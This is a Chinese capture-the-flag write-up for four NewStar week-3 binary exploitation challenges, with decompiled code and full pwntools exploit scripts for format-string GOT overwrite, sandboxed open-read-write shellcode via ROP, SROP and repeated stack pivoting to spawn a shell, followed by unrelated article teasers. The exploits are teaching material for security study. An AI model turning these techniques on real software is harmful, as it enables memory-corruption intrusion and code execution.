newstar week3 pwn

news2024/9/25 11:15:41

newstar week3 pwn

巩固知识,如有错误记得纠正,感谢师傅们的评阅

puts or system?

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-34h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("Welcome to NewStar CTF!!");
  while ( 1 )
  {
    puts("Give me some gift?(0/1)");
    __isoc99_scanf("%d", &v4);
    if ( v4 != 1 )
      break;
    puts("What's it");
    read(0, buf, 0x100uLL);
    puts("Oh thanks,There is my gift:");
    printf(buf);
    puts("/bin/sh");
  }
  return 0;
}

无限循环的格式化字符串

思路

改puts为system即可

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",27036,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')

#8
sla(b'gift',b'1')
sla(b'it',b'%15$p')
#格式化字符串泄露libc
leak=get_addr_int()-libc.sym['__libc_start_main']+0x30
li(leak)
sys=system(leak)
pl=fmtstr_payload(8,{elf.got['puts']:sys})
#格式化字符串改got表
sla(b'gift',b'1')
sla(b'it',pl)
#debug()
ia()

orw&rop

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  sandbox();
  mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL);
  puts("Try to escape the sandbox");
  read(0, buf, 0x20uLL);
  printf(buf);
  puts("I think you can get flag now");
  read(0, buf, 0x100uLL);
  return 0;
}

给我们开辟了一个权限为7的空间,就是让我们写shellcode到这里

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

有沙盒,写orw
在这里插入图片描述

发现栈里没啥libc,我们写一个libc进去

在这里插入图片描述

泄露得到libc基址和canary

思路

栈溢出写read函数,并且read的内容写在开辟的空间内,然后返回开辟的空间

直接看wp,里面有详细注释

from pwn import*
from Yapack import *
libc=ELF('./libc.so.6')
r,elf=rec("node4.buuoj.cn",29023,"./pwn",0)
context(os='linux', arch='amd64',log_level='debug')
#debug('b *0x40136E') 

#11 6
#6是我们写入的位置,泄露8是因为我们写入puts@got经过我们的对齐,现在在8号位置
#11是canary的位置
pl=b'%8$s.%11$p'+b'\x00'*6+p64(elf.got['puts'])
sla(b'sandbox',pl)
leak=get_addr_u64()-libc.sym['puts']
li(leak)
ru('.0x')
can=int(r.recv(16),16)
li(can)

#ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'rdi'
#搜到就加上libc基址就可以了
retn=0x0000000000029cd6+leak
rdi=0x000000000002a3e5+leak
rsi=0x000000000002be51+leak
rdx_r12=0x000000000011f497+leak
read=leak+libc.sym['read']

pl=cyclic(0x28)+p64(can)+p64(0)
#栈溢出
pl+=flat(rdi,0,rsi,0x66660000,rdx_r12,0x200,0,read)
#写read(0,0x66660000,0x200)
pl+=flat(0x66660000,retn)
#返回执行0x66660000
sla(b'get flag now',pl)

#orw
sc=shellcraft.open('./flag')
sc+=shellcraft.read(3,0x66660000+0x200,0x100)
sc+=shellcraft.write(1,0x66660000+0x200,0x100)

#sleep(0.3)
sl(asm(sc))
#debug()

ia()

srop

.text:0000000000401145                               var_30= byte ptr -30h
.text:0000000000401145
.text:0000000000401145                               ; __unwind {
.text:0000000000401145 F3 0F 1E FA                   endbr64
.text:0000000000401149 55                            push    rbp
.text:000000000040114A 48 89 E5                      mov     rbp, rsp
.text:000000000040114D 48 83 EC 30                   sub     rsp, 30h
.text:0000000000401151 B9 30 00 00 00                mov     ecx, 30h ; '0'
.text:0000000000401156 48 8D 15 C3 2E 00 00          lea     rdx, buf                        ; "welcome to srop!\n"
.text:000000000040115D BE 01 00 00 00                mov     esi, 1
.text:0000000000401162 BF 01 00 00 00                mov     edi, 1                          ; sysno
.text:0000000000401167 B8 00 00 00 00                mov     eax, 0
.text:000000000040116C E8 CF FE FF FF                call    _syscall
.text:000000000040116C
.text:0000000000401171 48 8D 45 D0                   lea     rax, [rbp+var_30]
.text:0000000000401175 B9 00 03 00 00                mov     ecx, 300h
.text:000000000040117A 48 89 C2                      mov     rdx, rax
.text:000000000040117D BE 00 00 00 00                mov     esi, 0
.text:0000000000401182 BF 00 00 00 00                mov     edi, 0                          ; sysno
.text:0000000000401187 B8 00 00 00 00                mov     eax, 0
.text:000000000040118C E8 AF FE FF FF                call    _syscall
.text:000000000040118C
.text:0000000000401191 C9                            leave
.text:0000000000401192 C3                            retn
.text:0000000000401192                               ; } // starts at 401145
.text:0000000000401192
.text:0000000000401192                               main endp

直接看汇编了

提供了一次write,和一次read,并且是超大溢出的read,

一眼srop

思路

构造frame,溢出打srop,看exp有详细解释

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",29023,"./pwn",0)
context(os='linux', arch='amd64',log_level='debug')

rdi=0x0000000000401203
lea=0x401171
syscall=elf.sym['syscall']
bss=0x404050+0x200

#目的是执行execve('/bin/sh',0,0)
#这个frame就是为了execve(bss,0,0)然后这个bss我们写个/bin/sh
fr=SigreturnFrame()
fr.rip=syscall
fr.rdi=59
fr.rsi=bss-0x30
#这里为什么要-0x30,因为这一段加了0x30
#.text:0000000000401171 48 8D 45 D0                   lea     rax, [rbp+var_30]
#就是相当于0x404050+0x200+0x30-0x30=0x404050+0x200
fr.rdx=0
fr.rcx=0
fr.rsp=bss+0x38
#这里就是设置栈顶
pl=cyclic(0x30)+flat(bss,lea)
#迁移到bss段,然后再执行一次read,并且这次read的写入的位置是0x404050+0x200

sa(b'srop',pl)
sleep(0.3)
pl=b'/bin/sh\x00'+cyclic(0x30)+flat(rdi,0xf,syscall,fr)
sl(pl)
#debug()

ia()

stack migration revenge

多次栈迁移

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

只开了NX 64位

int vuln()
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  puts("I've seen you before!");
  puts("just chat with me:");
  read(0, buf, 0x60uLL);
  return puts("so funny");
}

程序非常简单,溢出只能覆盖rbp和rip

.text:00000000004011FF 48 8D 45 B0                   lea     rax, [rbp+buf]
.text:0000000000401203 BA 60 00 00 00                mov     edx, 60h ; '`'                  ; nbytes
.text:0000000000401208 48 89 C6                      mov     rsi, rax                        ; buf
.text:000000000040120B BF 00 00 00 00                mov     edi, 0                          ; fd
.text:0000000000401210 B8 00 00 00 00                mov     eax, 0
.text:0000000000401215 E8 56 FE FF FF                call    _read
.text:0000000000401215
.text:000000000040121A 48 8D 3D 0C 0E 00 00          lea     rdi, aSoFunny                   ; "so funny"
.text:0000000000401221 E8 3A FE FF FF                call    _puts
.text:0000000000401221
.text:0000000000401226 90                            nop
.text:0000000000401227 C9                            leave
.text:0000000000401228 C3                            retn

多次利用这个段,多次使用read(0,[rbp+buf],0x60)

又因为rbp可控,用ROPgadget可以找到pop_rbp并且第一次溢出就是覆盖了rbp

思路

通过多次栈迁移在bss段写,然后泄露libc,getshell

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",29182,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')

bss=0x404020+0x600
leave=0x401227
lea=0x4011FF
rdi=0x00000000004012b3
rbp=0x000000000040115d

pl=cyclic(0x50)+flat(bss+0x50,lea)
#栈迁移到bss段
s(pl)
pl=flat(rdi,elf.got['puts'],elf.plt['puts'])
#泄露puts@libc
pl+=flat(rbp,bss+0x50+0x100,lea)
#控制rbp,并且在此处提前布置好空间用来getshell
pl=pl.ljust(0x50, b'\x00')+flat(bss-8,leave)
s(pl)

leak=get_addr_u64()-libc.sym['puts']
li(leak)
sys=system(leak)
sh=shell(leak)

pl=flat(rdi,sh,sys)
#这里就是在bss+0x50+0x10写了,所以我们迁移到+0x100的地方
pl=pl.ljust(0x50, b'\x00')+flat(bss-8+0x100,leave)
s(pl)
#debug()

ia()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1133861.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

springboot-scanBasePackages包扫描

目录 原因&#xff1a; 方式一&#xff1a; 方式二&#xff1a; 原因&#xff1a; 由于对rocketMq进行了一次封装&#xff0c;mq模块里面引用了RocketMQTemplate的bean&#xff0c;如果只引入jar包的依赖&#xff0c;启动的时候不会报错&#xff0c;但是在调用到 RocketMQT…

【OpenCV实现图像阈值处理】

文章目录 概要简单阈值调整自适应阈值调整大津(Otsus)阈值法Otsus 二值化是如何工作的 概要 OpenCV库中的图像处理技术&#xff0c;主要分为几何变换、图像阈值调整和平滑处理三个部分。 在几何变换方面&#xff0c;OpenCV提供了cv.warpAffine和cv.warpPerspective函数&#…

4、让电机转起来【51单片机控制步进电机-TB6600系列】

摘要&#xff1a;本节介绍用简单的方式&#xff0c;让步进电机转起来。其目的之一是对电机转动有直观的感受&#xff0c;二是熟悉整个开发流程。 本系列教程必要的51单片机基础包括IO口操作、中断、定时器三个部分&#xff0c;相关基础教程网上很多&#xff0c;可以自行学习 一…

VMware Ubuntu 关闭自动更新

##1. VMware 17Pro&#xff0c;ubuntu16.04 关闭自动更新 1.1 编辑–》 首选项–》更新–》启动时检查产品更新 2. 这里关了还不够&#xff0c;第二天打开的时候还是提醒系统更新&#xff0c;需要关闭另外的地方 3. 关闭更新检查&#xff0c;默认的是隔天检查一次&#xff0c;…

怎么修复vcomp140.dll丢失问题?5个详细的修复方法分享

在计算机使用过程中&#xff0c;我们经常会遇到一些错误提示&#xff0c;其中之一就是“vcomp140.dll丢失”。那么&#xff0c;vcomp140.dll是什么&#xff1f;它丢失会造成哪些问题呢&#xff1f;小编将从以下几个方面进行详细阐述。 一、vcomp140.dll是什么&#xff1f; vco…

如何使用透明贴图实现火焰效果

1、透明贴图的原理 透明贴图是一种纹理贴图&#xff0c;用于模拟物体部分或全部的透明效果。其原理基于透明度和混合技术。 在计算机图形中&#xff0c;如何显示透明的物体是一个具有挑战性的问题。这是因为透明物体不会像不透明物体那样完全遮挡后面的物体&#xff0c;而是允…

【REDIS】redis-命令大全

【REDIS】redis-命令大全 redis-命令的官方文档 键命令 序号命令及描述1DEL key 该命令用于在 key 存在时删除 key。2DUMP key 序列化给定 key &#xff0c;并返回被序列化的值。3EXISTS key 检查给定 key 是否存在。4EXPIRE key seconds 为给定 key 设置过期时间&#xf…

Python爬虫核心模块urllib的学习

​ 因为在玩Python challenge的时候&#xff0c;有用过这个模块&#xff0c;而且学习这个模块之后也对系统学习网络爬虫有用。 ​ 当时查了各种资料学习&#xff0c;没有碰官网文档&#xff08;因为还是对英语有抗拒性&#xff09;&#xff0c;但是还是官方的文档最具权威和学…

使用Java做业务开发,如何做好一个定时任务的技术选型?

1. 轻量级任务调度 Quartz Scheduler 适用场景: 单机或简单的分布式任务调度特点: 提供丰富的调度选项&#xff0c;如Cron表达式、固定间隔等&#xff1b;支持持久化&#xff0c;能够在应用重启后恢复任务&#xff1b;支持任务监听和触发器监听。建议: 如果你的应用是基于Spr…

搭建docker本地仓库

1.拉取私有仓库镜像 [rootmaster1 ~]# docker pull registry [rootmaster1 ~]# docker images REPOSITORY TAG IMAGE ID CREATED SIZE nginx v1 546db553f62a About an hour ago …

ftp远程连接传输的常见问题有哪些?如何一站式解决传输问题?

众多传统老行业很多已经部署了FTP传输相关系统&#xff0c;随着数据量和文件量的增加&#xff0c;一些相应的问题也出现了&#xff0c;些问题可能会影响传输的效率和安全性。本文将介绍FTP的常见问题和解决方法&#xff0c;并说明为什么大文件传输平台可以帮助企业实现更快更安…

安卓主板_MTK联发科4G低功耗安卓主板开发板方案

ZM358-DP安卓主板是一款性能功能强大的4G安卓平台。它采用了联发科MTK6737、MTK8735、MTK6753、MTK6735等芯片平台&#xff0c;64位四核Cortex-A53架构&#xff0c;主频高达1.3GHz&#xff0c;搭载ARM Mail-T450 MP2 GPU。 安卓主板具备多路显示屏接口&#xff0c;包括双LVDS、…

强劲升级,太极2.x你值得拥有!

嗨&#xff0c;大家好&#xff0c;最近桃桃没顾得上给大家分享好用好玩的软件。 还记得前段时间给大家分享的太极1.0软件&#xff1f; 最近大佬对软件进行了全新升级&#xff0c;升级后的功能更强更稳定&#xff0c;轻度用户使用基本功能就已经足够了&#xff0c;壕无人性的同学…

广州华锐互动:VR技术应用到工程项目施工安全培训的好处

随着科技的飞速发展&#xff0c;虚拟现实(VR)技术已经深入到各个领域。在建筑施工领域&#xff0c;VR技术的应用为工程项目施工安全培训带来了许多好处。本文将探讨VR技术在这方面的优势和应用。 首先&#xff0c;VR技术能够提供沉浸式的安全培训体验。通过VR设备&#xff0c;学…

cuDNN安装成功

验证方法&#xff1a;winR cmd进入安装目录下&#xff0c;再进入到 extras\demo_suite下&#xff0c;执行.\bandwidthTest.exe和.\deviceQuery.exe&#xff0c;得到下图。

蓝桥算法赛(摆玩具)

问题描述 小蓝是一个热爱收集玩具的小伙子&#xff0c;他拥有 n 个不同的玩具。 这天&#xff0c;他把 n 个玩具按照高度顺序从矮到高摆放在了窗台上&#xff0c;然后&#xff0c;他希望将这些玩具分成 k 个段&#xff0c;使得所有分段的极差之和尽可能小。 具体来说&…

Vue props实现父组件给子组件传递数据

Vue中的配置项Props能让组件接收外部传递过来的数据。 一、传递数据 在要传递的组件标签中配置传递信息&#xff1a; 属性名 "属性值" 注意&#xff1a;如果传递的属性值是一个表达式&#xff0c;要使用&#xff1a;属性名"属性值" 的形式。 二、接收数…

竞赛选题 深度学习动物识别 - 卷积神经网络 机器视觉 图像识别

文章目录 0 前言1 背景2 算法原理2.1 动物识别方法概况2.2 常用的网络模型2.2.1 B-CNN2.2.2 SSD 3 SSD动物目标检测流程4 实现效果5 部分相关代码5.1 数据预处理5.2 构建卷积神经网络5.3 tensorflow计算图可视化5.4 网络模型训练5.5 对猫狗图像进行2分类 6 最后 0 前言 &#…

FLStudio21汉化破解激活版下载,Fl Studio 2024中文破解版激活补丁

最新版本FL Studio 21官方中文汉化激破解版是比利时Image-Line公司开发的DAW。在去年DTM站的DAW调查中&#xff0c;在世界上很受欢迎&#xff0c;特别是作为EDM制作工具被广泛使用。从1997年以FruityLoops的名字发行的时候开始&#xff0c;FL Studio 21就一直作为Windows专用的…

软件工程17-18期末试卷

2.敏捷开发提倡一个迭代80%以上的时间都在编程&#xff0c;几乎没有设计阶段。敏捷方法可以说是一种无计划性和纪律性的方法。错 敏捷开发是一种软件开发方法论&#xff0c;它强调快速响应变化、持续交付有价值的软件、紧密合作和适应性。虽然敏捷方法鼓励迭代开发和灵活性&…